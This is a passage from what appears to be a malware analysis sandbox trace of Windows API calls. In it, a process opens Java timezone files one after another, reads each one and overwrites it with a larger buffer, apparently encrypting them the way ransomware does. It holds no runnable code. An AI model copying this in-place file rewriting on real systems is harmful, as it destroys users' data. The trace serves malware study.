ReleaseMutex (hMutex=0x128) returned 1 [0044.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="El_Aaiun", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0044.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="El_Aaiun", cchWideChar=8, lpMultiByteStr=0x1e6302c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="El_Aaiun", lpUsedDefaultChar=0x0) returned 8 [0044.419] ReadFile (in: hFile=0x1d0, lpBuffer=0x1e8e928, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8e928*, lpNumberOfBytesRead=0x2c0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0044.420] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.420] WriteFile (in: hFile=0x1d0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0044.420] CloseHandle (hObject=0x1d0) returned 1 [0044.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lagos"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.421] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.421] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x41 [0044.421] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.421] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.421] ReleaseMutex (hMutex=0x128) returned 1 [0044.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lagos", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lagos", cchWideChar=5, lpMultiByteStr=0x1e6a7a4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lagos", lpUsedDefaultChar=0x0) returned 5 [0044.421] ReadFile (in: hFile=0x1d0, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2c0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0044.422] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.422] WriteFile (in: hFile=0x1d0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0044.422] CloseHandle (hObject=0x1d0) returned 1 [0044.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\mogadishu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.429] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.429] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x49 [0044.429] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.429] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.429] ReleaseMutex (hMutex=0x128) returned 1 [0044.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mogadishu", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mogadishu", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mogadishu", lpUsedDefaultChar=0x0) returned 9 [0044.429] ReadFile (in: hFile=0x1d0, lpBuffer=0x1e94f08, nNumberOfBytesToRead=0x49, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e94f08*, lpNumberOfBytesRead=0x2c0f2bc*=0x49, lpOverlapped=0x0) returned 1 [0044.430] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.430] WriteFile (in: hFile=0x1d0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5d1, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5d1, lpOverlapped=0x0) returned 1 [0044.430] CloseHandle (hObject=0x1d0) returned 1 [0044.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\tunis"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.433] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.433] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x149 [0044.433] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.433] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.433] ReleaseMutex (hMutex=0x128) returned 1 [0044.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tunis", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tunis", cchWideChar=5, lpMultiByteStr=0x1e6a7a4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tunis", lpUsedDefaultChar=0x0) returned 5 [0044.433] ReadFile (in: hFile=0x1cc, lpBuffer=0x253c138, nNumberOfBytesToRead=0x149, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c138*, lpNumberOfBytesRead=0x2c0f2bc*=0x149, lpOverlapped=0x0) returned 1 [0044.434] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.434] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d1, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x6d1, lpOverlapped=0x0) returned 1 [0044.434] CloseHandle (hObject=0x1cc) returned 1 [0044.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Jujuy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\jujuy"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.438] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.438] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x215 [0044.438] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.438] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.438] ReleaseMutex (hMutex=0x128) returned 1 [0044.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jujuy", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jujuy", cchWideChar=5, lpMultiByteStr=0x1e6a7a4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jujuy", lpUsedDefaultChar=0x0) returned 5 [0044.438] ReadFile (in: hFile=0x1d0, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x215, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2c0f2bc*=0x215, lpOverlapped=0x0) returned 1 [0044.439] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.439] WriteFile (in: hFile=0x1d0, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x79d, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x79d, lpOverlapped=0x0) returned 1 [0044.439] CloseHandle (hObject=0x1d0) returned 1 [0044.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Asuncion" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\asuncion"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.815] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.815] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x45c [0044.815] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.815] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.815] ReleaseMutex (hMutex=0x128) returned 1 [0044.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Asuncion", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0044.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Asuncion", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Asuncion", lpUsedDefaultChar=0x0) returned 8 [0044.815] ReadFile (in: hFile=0x168, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2c0f2bc*=0x45c, lpOverlapped=0x0) returned 1 [0044.877] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.877] WriteFile (in: hFile=0x168, lpBuffer=0x260fc38*, nNumberOfBytesToWrite=0x9e4, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x260fc38*, lpNumberOfBytesWritten=0x2c0f2d0*=0x9e4, lpOverlapped=0x0) returned 1 [0044.877] CloseHandle (hObject=0x168) returned 1 [0044.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boise" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\boise"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.885] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.885] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x504 [0044.885] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.885] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.885] ReleaseMutex (hMutex=0x128) returned 1 [0044.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Boise", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Boise", cchWideChar=5, lpMultiByteStr=0x1e6a7a4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Boise", lpUsedDefaultChar=0x0) returned 5 [0044.885] ReadFile (in: hFile=0x168, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x2c0f2bc*=0x504, lpOverlapped=0x0) returned 1 [0044.895] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.895] WriteFile (in: hFile=0x168, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xa8c, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa8c, lpOverlapped=0x0) returned 1 [0044.895] CloseHandle (hObject=0x168) returned 1 [0044.895] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Creston" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\creston"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.901] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.901] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x49 [0044.901] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0044.901] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.901] ReleaseMutex (hMutex=0x128) returned 1 [0044.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Creston", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Creston", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Creston", lpUsedDefaultChar=0x0) returned 7 [0044.901] ReadFile (in: hFile=0x168, lpBuffer=0x1e952d0, nNumberOfBytesToRead=0x49, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e952d0*, lpNumberOfBytesRead=0x2c0f2bc*=0x49, lpOverlapped=0x0) returned 1 [0044.902] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0044.902] WriteFile (in: hFile=0x168, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5d1, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5d1, lpOverlapped=0x0) returned 1 [0044.902] CloseHandle (hObject=0x168) returned 1 [0044.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Eirunepe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\eirunepe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.428] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.428] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x141 [0045.429] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.429] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.429] ReleaseMutex (hMutex=0x128) returned 1 [0045.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eirunepe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0045.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eirunepe", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eirunepe", lpUsedDefaultChar=0x0) returned 8 [0045.429] ReadFile (in: hFile=0x1c4, lpBuffer=0x253c138, nNumberOfBytesToRead=0x141, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c138*, lpNumberOfBytesRead=0x2c0f2bc*=0x141, lpOverlapped=0x0) returned 1 [0045.430] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.430] WriteFile (in: hFile=0x1c4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6c9, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x6c9, lpOverlapped=0x0) returned 1 [0045.430] CloseHandle (hObject=0x1c4) returned 1 [0045.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guayaquil" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guayaquil"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x41 [0045.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.431] ReleaseMutex (hMutex=0x128) returned 1 [0045.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Guayaquil", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Guayaquil", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Guayaquil", lpUsedDefaultChar=0x0) returned 9 [0045.431] ReadFile (in: hFile=0x1c4, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2c0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0045.432] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.432] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0045.432] CloseHandle (hObject=0x1c4) returned 1 [0045.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Vevay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\vevay"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.434] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.434] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2d4 [0045.434] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.434] ReleaseMutex (hMutex=0x128) returned 1 [0045.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vevay", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vevay", cchWideChar=5, lpMultiByteStr=0x1e6a9fc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vevay", lpUsedDefaultChar=0x0) returned 5 [0045.434] ReadFile (in: hFile=0x1c4, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2c0f2bc*=0x2d4, lpOverlapped=0x0) returned 1 [0045.435] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.435] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x85c, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2c0f2d0*=0x85c, lpOverlapped=0x0) returned 1 [0045.435] CloseHandle (hObject=0x1c4) returned 1 [0045.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Lima" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\lima"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.436] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.436] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, 